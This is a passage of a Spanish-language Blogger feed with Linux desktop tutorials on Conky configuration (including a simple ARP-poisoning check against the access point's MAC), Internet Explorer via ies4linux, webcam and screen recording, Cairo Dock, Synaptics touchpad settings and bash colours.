href="http://www.divshare.com/download/14219712-6ea"&gt;conkyForecast&lt;/a&gt;.&lt;br /&gt;dpkg -i conkyforecast_2.09_all.deb&lt;br /&gt;&lt;br /&gt;Para poder realizar consultas debemos abrirnos una cuenta en:&lt;br /&gt;&lt;a href="http://www.weather.com/services/xmloap.html"&gt;http://www.weather.com/services/xmloap.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Los ficheros de configuración de Forecast además de necesitar los datos de acceso también necesita el código de la zona geográfica, para Madrid por ejemplo se obtendría visitando esta &lt;a href="http://xoap.weather.com/search/search?where=MADRID"&gt;página&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Editamos el fichero de configuración de ConkyForecast:&lt;br /&gt;vi /usr/share/conkyforecast/conkyForecast.config&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-JuOWGHHJpjE/TXFKo5JQlvI/AAAAAAAAAW0/y7Rh5Kb6w6g/s1600/Sin%2Bnombre.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 34px;" src="http://3.bp.blogspot.com/-JuOWGHHJpjE/TXFKo5JQlvI/AAAAAAAAAW0/y7Rh5Kb6w6g/s200/Sin%2Bnombre.jpg" alt="" id="BLOGGER_PHOTO_ID_5580323479683634930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copiamos el fichero de configuración al directorio home del usuario:&lt;br /&gt;cp /usr/share/conkyforecast/conkyForecast.config /home/"usuario"/.conkyForecast.config&lt;br /&gt;chown "usuario"."usuario" /home/"usuario"/.conkyForecast.config&lt;br /&gt;&lt;br /&gt;Para pedir información desde el fichero de configuración se hará del siguiente modo:&lt;br /&gt;${offset 165}${voffset -45}${font Weather:size=14}${color Red}y ${color}${font}Temp: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=LT} / ${execi 3600 conkyForecast --location=SPXX0050 --datatype=HT}&lt;br /&gt;${offset 165}${font ConkyWeather:size=11}${color Deep Sky Blue}8 ${color}${font}Humedad: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=HM}&lt;br /&gt;${offset 165}${font ConkyWeather:size=11}${color Aquamarine}2 ${color}${font}Viento: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=WS}&lt;br /&gt;&lt;br /&gt;Estos son solo algunos parámetros, para ver que mas se puede pedir ejecutamos:&lt;br /&gt;conkyForecast --help&lt;br /&gt;&lt;br /&gt;Como ya he dicho Conky es altamente configurable, tanto que permite añadir diferentes fuentes, para ello habrá que instalarlas primero. Una buena página de donde descargarlas es &lt;a href="http://www.dafont.com/"&gt;Dafont&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cuando nos bajemos las fuentes las decomprimimos en un directorio y las movemos a /usr/share/fonts/truetype:&lt;br /&gt;cp *.ttf /usr/share/fonts/truetype&lt;br /&gt;&lt;br /&gt;Asignamos los permisos pertinentes:&lt;br /&gt;chmod 755 /usr/share/fonts/truetype/*&lt;br /&gt;&lt;br /&gt;Regeneramos el índice de fuentes:&lt;br /&gt;su "usuario"&lt;br /&gt;fc-cache -f -v&lt;br /&gt;&lt;br /&gt;Para ver las fuentes disponibles:&lt;br /&gt;fc-list&lt;br /&gt;exit&lt;br /&gt;&lt;br /&gt;Cabe destacar que si indicamos en el fichero de configuración una fuente que no se encuentra instalada nos aparecerá la letra pero no el dibujo.&lt;br /&gt;&lt;br /&gt;Otra opción interesante de Conky es colorear el texto, un ejemplo puede ser:&lt;br /&gt;${font StyleBats:size=16}i${font}${color Tan1} Kernel:  ${color}${alignr}${kernel}&lt;br /&gt;&lt;br /&gt;Existe una &lt;a href="http://en.wikipedia.org/wiki/X11_color_names"&gt;tabla&lt;/a&gt; con los colores disponibles en la Wikipedia.&lt;br /&gt;&lt;br /&gt;Creamos el directorio donde guardaremos todos los ficheros relacionados con conky:&lt;br /&gt;mkdir /home/"usuario"/.conky&lt;br /&gt;&lt;br /&gt;Conky nos permite pintar diferentes textos o gráficos en base a ciertas condiciones, es tan sencillo como esto:&lt;br /&gt;MAC_AP: $alignr${execi 30 /home/"usuario"/.conky/MAC.sh}${if_existing /tmp/MAC_OK}${color Green}${font sans-serif:normal:size=8}${execi 60 GW=$(/sbin/route -n|grep UG|awk -F " " '{print$2}') &amp;amp;&amp;amp; /usr/sbin/arp -a|grep $GW|awk -F " " '{print$4}'}${font}${color}${else}${color Red}${font sans-serif:normal:size=8}${execi 60 GW=$(/sbin/route -n|grep UG|awk -F " " '{print$2}') &amp;amp;&amp;amp; /usr/sbin/arp -a|grep $GW|awk -F " " '{print$4}'}${font}${color}${endif}&lt;br /&gt;&lt;br /&gt;Primero ejecuta el script /home/"usuario"/.conky/MAC.sh, este generará el fichero /tmp/MAC_OK en caso de que la MAC del AP coincida con una conocida, en caso contrario no lo generará.&lt;br /&gt;Si existe el fichero /tmp/MAC_OK nos pintará de color verde la salida del comando /usr/sbin/arp -a|grep wlan0|awk -F " " '{print$4}' en caso contrario lo hará en rojo.&lt;br /&gt;&lt;br /&gt;De este modo podemos monitorizar si nos han envenenado la tabla ARP para el AP ;)&lt;br /&gt;&lt;br /&gt;En el script &lt;a href="http://www.divshare.com/download/14899778-289"&gt;MAC.sh&lt;/a&gt; hay que modificar el parámetro MAC por la MAC de vuestro AP.&lt;br /&gt;&lt;br /&gt;Si os fijais en la configuración de mi Conky podreis ver que hay otras comparaciones sobre uso de RAM o disco duro de modo que si se supera el 90% el icono será pintado en rojo.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.divshare.com/download/15116235-747"&gt;Aquí&lt;/a&gt; podeis encontrar mi configuración con resolución de portatil.&lt;br /&gt;&lt;a href="http://www.divshare.com/download/15116247-e29"&gt;Aquí&lt;/a&gt; la del monitor.&lt;br /&gt;&lt;br /&gt;Para ejecutarla sería tan sencillo como conky -c conky-config&lt;br /&gt;También me he currado un pequeño &lt;a href="http://www.divshare.com/download/15116263-efd"&gt;script&lt;/a&gt; que se puede añadir al arranque de gnome para que compruebe la resolución de las X y cargue una configuración u otra.&lt;br /&gt;&lt;br /&gt;Creo que con esto queda casi todo explicado sobre Conky, solo quedaría el tema de los scripts en LUA pero esa es otra historia.......&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3397199362746940418?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3397199362746940418/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3397199362746940418' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3397199362746940418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3397199362746940418'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/03/conky-fondo.html' title='Conky a fondo'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-ami1m6yo6cQ/TXFFgOs1UrI/AAAAAAAAAWs/RWC4p5szG-4/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3272068172983194947</id><published>2010-12-26T13:09:00.005+01:00</published><updated>2011-04-04T19:51:45.663+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>IE en Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/TRcxiOL1CgI/AAAAAAAAAWg/i3iZKNYABXw/s1600/Earth-256x256.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 200px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/TRcxiOL1CgI/AAAAAAAAAWg/i3iZKNYABXw/s200/Earth-256x256.png" alt="" id="BLOGGER_PHOTO_ID_5554963129377819138" border="0" /&gt;&lt;/a&gt;Por desgracia hay varias páginas web que no funcionan correctamente si no se visualizan en Internet Explorer, hay otras que incluso realizan comprobaciones del navegador empleado y deniegan el acceso, este último problema se puede resolver fácilmente mediante un &lt;a href="https://addons.mozilla.org/es-ES/firefox/addon/59/"&gt;plug-in&lt;/a&gt; de Firefox.&lt;br /&gt;&lt;br /&gt;En el primero de los casos no tendremos mas remedio que tragar e instalar IE.&lt;br /&gt;&lt;br /&gt;apt-get install wine libxxf86dga1 libxxf86vm1 cabextract lib32nss-mdns&lt;br /&gt;&lt;br /&gt;wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz&lt;br /&gt;tar zxvf ies4linux-latest.tar.gz&lt;br /&gt;cd ies4linux-*&lt;br /&gt;./ies4linux&lt;br /&gt;&lt;br /&gt;Ahora ya podremos ver las páginas que daban problemas ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3272068172983194947?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3272068172983194947/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3272068172983194947' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3272068172983194947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3272068172983194947'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/12/ie-en-linux.html' title='IE en Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/TRcxiOL1CgI/AAAAAAAAAWg/i3iZKNYABXw/s72-c/Earth-256x256.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6552149331650091831</id><published>2010-12-26T12:56:00.004+01:00</published><updated>2011-04-04T19:51:55.435+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Seleccionar dispositivo de video.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/TRcwCxvQJRI/AAAAAAAAAWY/9X5XaDkWX14/s1600/HAL-9000.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 128px; height: 128px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/TRcwCxvQJRI/AAAAAAAAAWY/9X5XaDkWX14/s200/HAL-9000.png" alt="" id="BLOGGER_PHOTO_ID_5554961489654195474" border="0" /&gt;&lt;/a&gt;Hoy en día cada vez es mas frecuente encontrarse con portatiles o monitores que incorporan una webcam para videoconferencia, estos dispositivos pueden servirnos para realizar videos en una calidad mas o menos decente, dependiendo de la webcam que poseamos.&lt;br /&gt;En este artículo voy a explicar como realizar grabaciones a través de mencoder y como visualizar el video capturado en tiempo real desde la webcam.&lt;br /&gt;&lt;br /&gt;Para realizar las grabaciones basta con especificar el dispositivo de video:&lt;br /&gt;mencoder tv:// -tv driver=v4l2:width=320:height=240:device=/dev/video0 -nosound -ovc lavc -o wcrecording.avi&lt;br /&gt;&lt;br /&gt;Para reproducir en tiempo real lo que la webcam está capturando:&lt;br /&gt;mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0&lt;br /&gt;&lt;br /&gt;Si se tiene mas de una webcam se podrá seleccionar la apropiada cambiando /dev/video0 por /dev/videoX&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6552149331650091831?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6552149331650091831/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6552149331650091831' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6552149331650091831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6552149331650091831'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/12/seleccionar-dispositivo-de-video.html' title='Seleccionar dispositivo de video.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/TRcwCxvQJRI/AAAAAAAAAWY/9X5XaDkWX14/s72-c/HAL-9000.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3068174921599605491</id><published>2010-11-28T14:03:00.005+01:00</published><updated>2011-04-04T19:52:06.299+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Cairo Dock sin Compiz</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/TPJWOEUmv5I/AAAAAAAAAWM/qzPOJP2rxHE/s1600/Neon_Cairo_Dock_by_bit7.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 160px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/TPJWOEUmv5I/AAAAAAAAAWM/qzPOJP2rxHE/s200/Neon_Cairo_Dock_by_bit7.png" alt="" id="BLOGGER_PHOTO_ID_5544588890924826514" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www.glx-dock.org/"&gt;Cairo Dock&lt;/a&gt; es un magnífico dock que nos permite lanzar aplicaciones de forma rápida y con animaciones realmente bonitas, en este tutorial voy a explicar los pasos necesarios para instalarlo en Debian Lenny(estable) sin necesidad de Compiz(de este modo ahorraremos preciados recursos).&lt;br /&gt;Cairo necesita un "Composite manager" para poder generar las transparencias y demás efectos, para no tener que instalar Compiz habilitaremos el "Composite manager" de Metacity.&lt;br /&gt;&lt;br /&gt;Añadimos el siguiente repositorio:&lt;br /&gt;&lt;br /&gt;vi /etc/apt/source.list&lt;br /&gt;deb http://repository.glx-dock.org/debian stable cairo-dock&lt;br /&gt;&lt;br /&gt;Añadimos la llave pública del repositorio recien instalado:&lt;br /&gt;wget -q http://repository.glx-dock.org/cairo-dock.gpg -O- | sudo apt-key add -&lt;br /&gt;&lt;br /&gt;Actualizamos la base de datos de software:&lt;br /&gt;apt-get update&lt;br /&gt;&lt;br /&gt;Instalamos Cairo Dock:&lt;br /&gt;apt-get install cairo-dock cairo-dock-plug-ins&lt;br /&gt;&lt;br /&gt;Habilitamos el "Composite manager":&lt;br /&gt;Ejecutamos: gconf-editor&lt;br /&gt;Navegamos hasta Apps-&amp;gt;metacity-&amp;gt;general&lt;br /&gt;Marcamos la casilla compositing_manager&lt;br /&gt;&lt;br /&gt;Para que Cairo Dock sea lanzado en cada inicio de sesión debemos añadirlo ejecutando: gnome-session-properties&lt;br /&gt;&lt;br /&gt;Seguramente ya aparezca una entrada llamada GLX-Dock, en caso contrario añadimos una con el comando: cairo-dock -o&lt;br /&gt;&lt;br /&gt;Ahora cerramos la sesión y la volvemos a iniciar sesión.&lt;br /&gt;Ya tenemos nuestro Cairo Dock completamente funcional.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3068174921599605491?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3068174921599605491/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3068174921599605491' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3068174921599605491'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3068174921599605491'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/11/cairo-dock-sin-compiz.html' title='Cairo Dock sin Compiz'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/TPJWOEUmv5I/AAAAAAAAAWM/qzPOJP2rxHE/s72-c/Neon_Cairo_Dock_by_bit7.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3607701974304765228</id><published>2010-10-24T13:19:00.007+02:00</published><updated>2011-04-04T19:52:17.726+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Configuración SynPS/2 Synaptics TouchPad</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/TMQX-w7UJkI/AAAAAAAAAWE/Ah9Mk7JWmwk/s1600/synaptics-touchpad-trackpad-multitactil.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 53px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/TMQX-w7UJkI/AAAAAAAAAWE/Ah9Mk7JWmwk/s200/synaptics-touchpad-trackpad-multitactil.jpg" alt="" id="BLOGGER_PHOTO_ID_5531572609370826306" border="0" /&gt;&lt;/a&gt;En este manual voy a explicar como realizar la configuración avanzada de &lt;a href="http://www.synaptics.com/solutions/technology/gestures/touchpad-linux"&gt;SynPS/2 Synaptics TouchPad&lt;/a&gt;, este touchpad tiene la capacidad de detectar movimiento horizontal, vertical y circular, este último resulta muy útil en las páginas web muy grandes.&lt;br /&gt;&lt;br /&gt;Primero comprobamos que tenemos este touchpad en el equipo:&lt;br /&gt;cat /proc/bus/input/devices&lt;br /&gt;&lt;br /&gt;Ahora debemos editar el fichero de configuración del servidor gráfico:&lt;br /&gt;vim /etc/X11/xorg.conf&lt;br /&gt;&lt;br /&gt;Section "ServerLayout"&lt;br /&gt;   Identifier     "Layout0"&lt;br /&gt;   Screen      0  "Screen0"&lt;br /&gt;   InputDevice    "Keyboard0" "CoreKeyboard"&lt;br /&gt;   InputDevice    "Synaptics Touchpad" "AlwaysCore"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Section "Files"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Section "Module"&lt;br /&gt;   Load           "dbe"&lt;br /&gt;   Load           "extmod"&lt;br /&gt;   Load           "type1"&lt;br /&gt;   Load           "freetype"&lt;br /&gt;   Load           "glx"&lt;br /&gt;   Load           "synaptics"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Section "InputDevice"&lt;br /&gt;   Identifier      "Synaptics Touchpad"&lt;br /&gt;   Driver "synaptics"&lt;br /&gt;   Option "AlwaysCore" "true" # send events to CorePointer&lt;br /&gt;   #Option "Device" "/dev/input/mice"&lt;br /&gt;   Option "Device" "/dev/psaux"&lt;br /&gt;   Option "Protocol" "auto-dev"&lt;br /&gt;   Option "SHMConfig" "true" # configurable at runtime? security risk&lt;br /&gt;   Option "LeftEdge" "1400" # x coord left&lt;br /&gt;   Option "RightEdge" "5000" # x coord right&lt;br /&gt;   Option "TopEdge" "1300" # y coord top&lt;br /&gt;   Option "BottomEdge" "4300" # y coord bottom&lt;br /&gt;   Option "FingerLow" "25" # pressure below this level triggers release&lt;br /&gt;   Option "FingerHigh" "30" # pressure above this level triggers touch&lt;br /&gt;   Option "MaxTapTime" "180" # max time in ms for detecting tap&lt;br /&gt;   Option "VertEdgeScroll" "true" # enable vertical scroll zone&lt;br /&gt;   Option "HorizEdgeScroll" "true" # enable horizontal scroll zone&lt;br /&gt;   Option "CornerCoasting" "true" # enable continuous scroll with finger in corner&lt;br /&gt;   Option "CoastingSpeed" "0.30" # corner coasting speed&lt;br /&gt;   Option "VertScrollDelta" "45" # edge-to-edge scroll distance of the vertical scroll&lt;br /&gt;   Option "HorizScrollDelta" "45" # edge-to-edge scroll distance of the horizontal scroll&lt;br /&gt;   Option "MinSpeed" "0.10" # speed factor for low pointer movement&lt;br /&gt;   Option "MaxSpeed" "0.60" # maximum speed factor for fast pointer movement&lt;br /&gt;   Option "AccelFactor" "0.0020" # acceleration factor for normal pointer movements&lt;br /&gt;   Option "VertTwoFingerScroll" "true" # vertical scroll anywhere with two fingers&lt;br /&gt;   Option "HorizTwoFingerScroll" "true" # horizontal scroll anywhere with two fingers&lt;br /&gt;   Option "TapButton1" "1"&lt;br /&gt;   Option "TapButton2" "2"&lt;br /&gt;   Option "TapButton3" "3"&lt;br /&gt;   Option "EdgeMotionUseAlways" "1"&lt;br /&gt;   Option "EmulateMidButtonTime" "75"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;El valor actual de estas opciones se puede consultar con el comando:&lt;br /&gt;synclient -l&lt;br /&gt;&lt;br /&gt;Como se puede observar se pueden tocar más parámetros pero yo no me he parado a investigar para que sirven.&lt;br /&gt;&lt;br /&gt;Ahora instalamos un configurador para ciertos parámetros como el inicio del movimiento circular:&lt;br /&gt;apt-get install gsynaptics&lt;br /&gt;&lt;br /&gt;Con esto ya solo faltaría reiniciar las X y listo!!!&lt;br /&gt;/etc/init.d/gdm restart&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3607701974304765228?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3607701974304765228/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3607701974304765228' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3607701974304765228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3607701974304765228'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/10/configuracion-synps2-synaptics-touchpad.html' title='Configuración SynPS/2 Synaptics TouchPad'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/TMQX-w7UJkI/AAAAAAAAAWE/Ah9Mk7JWmwk/s72-c/synaptics-touchpad-trackpad-multitactil.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2228866572813643086</id><published>2010-10-02T13:06:00.006+02:00</published><updated>2011-04-04T19:52:31.616+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Grabación de las X</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/TKcWzR6wgzI/AAAAAAAAAV8/YoLywbb0vkA/s1600/Movie_trailers_new_.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 82px; height: 82px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/TKcWzR6wgzI/AAAAAAAAAV8/YoLywbb0vkA/s200/Movie_trailers_new_.png" alt="" id="BLOGGER_PHOTO_ID_5523408538232193842" border="0" /&gt;&lt;/a&gt;Seguro que alguna vez querías enseñarle a un amigo el procedimiento a seguir para hacer algo, pero por chat era una tediosa tarea y desearías poder grabar un video para que lo viese con sus propios ojos.&lt;br /&gt;&lt;br /&gt;Si es así estas de suerte, sigue leyendo ;)&lt;br /&gt;&lt;br /&gt;Instalamos las herramientas necesarias:&lt;br /&gt;&lt;br /&gt;apt-get install gtk-recordmydesktop mencoder&lt;br /&gt;&lt;br /&gt;Arrancamos gtk-recordmydesktop y lo configuramos:&lt;br /&gt;&lt;br /&gt;Guardar Como: "Nombre del fichero"&lt;br /&gt;Seleccionamos la ventana que también puede ser una zona determinada del monitor.&lt;br /&gt;&lt;br /&gt;Cuando hayamos terminado presionamos el botón de stop que aparecerá en la barra de Gnome.&lt;br /&gt;&lt;br /&gt;Todo esto producirá un fichero con extensión ogv, se puede pasar a avi de forma muy sencilla:&lt;br /&gt;mencoder grabacion.ogv -ovc xvid -oac mp3lame -xvidencopts pass=1 -o archivosalida.avi&lt;br /&gt;rm grabacion.ogv&lt;br /&gt;&lt;br /&gt;Con esto ya tendremos un fichero .avi totalmente convencional que podremos reproducir en cualquier lugar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2228866572813643086?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2228866572813643086/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2228866572813643086' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2228866572813643086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2228866572813643086'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/10/grabacion-de-las-x.html' title='Grabación de las X'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/TKcWzR6wgzI/AAAAAAAAAV8/YoLywbb0vkA/s72-c/Movie_trailers_new_.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-868739152104387077</id><published>2010-09-29T14:46:00.007+02:00</published><updated>2011-04-04T19:52:41.702+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Cambiar colores bash</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/TKOKsDh6YjI/AAAAAAAAAV0/4QeHvVzgDws/s1600/zeros-chaos.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 113px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/TKOKsDh6YjI/AAAAAAAAAV0/4QeHvVzgDws/s200/zeros-chaos.jpg" alt="" id="BLOGGER_PHOTO_ID_5522410057552781874" border="0" /&gt;&lt;/a&gt;Es posible configurar bash para que nos muestre ciertos ficheros de un color determinado, esto se consigue con la orden ls --color=tty.&lt;br /&gt;&lt;br /&gt;Los pasos a seguir son:&lt;br /&gt;cd ~&lt;br /&gt;dircolors --print-database &amp;gt; .dir_colors&lt;br /&gt;vim .dir_colors&lt;br /&gt;DIR 01;33 # directory --&amp;gt; Con esto el color de los directorios pasará de azul asqueroso a un bonito amarillo ;)&lt;br /&gt;&lt;br /&gt;vim .bashrc&lt;br /&gt;if [ -x /usr/bin/dircolors ]; then&lt;br /&gt;eval "`dircolors -b .dir_colors`"&lt;br /&gt;alias ls='ls --color=auto'&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;Cerramos el terminal, abrimos otro y listo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-868739152104387077?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 